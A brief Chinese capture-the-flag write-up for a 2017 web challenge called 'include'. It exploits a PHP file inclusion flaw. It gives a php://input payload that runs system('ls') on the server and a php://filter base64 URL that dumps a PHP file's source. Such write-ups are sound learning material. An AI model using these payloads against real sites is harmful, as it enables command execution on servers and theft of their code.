“百度杯”CTF比赛 2017 二月场
类型：Web题目名称：include刚进来只看到一个PHP页面和部分PHP代码，看看提示内容，文件包含漏洞。
不多说，用火狐hackbar直接构造：
？path=php://input
post内容：<?php echo system('ls');?>
会爆出具体有哪些文件。
再通过?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
查看dle345aae.php文件中有些什么东西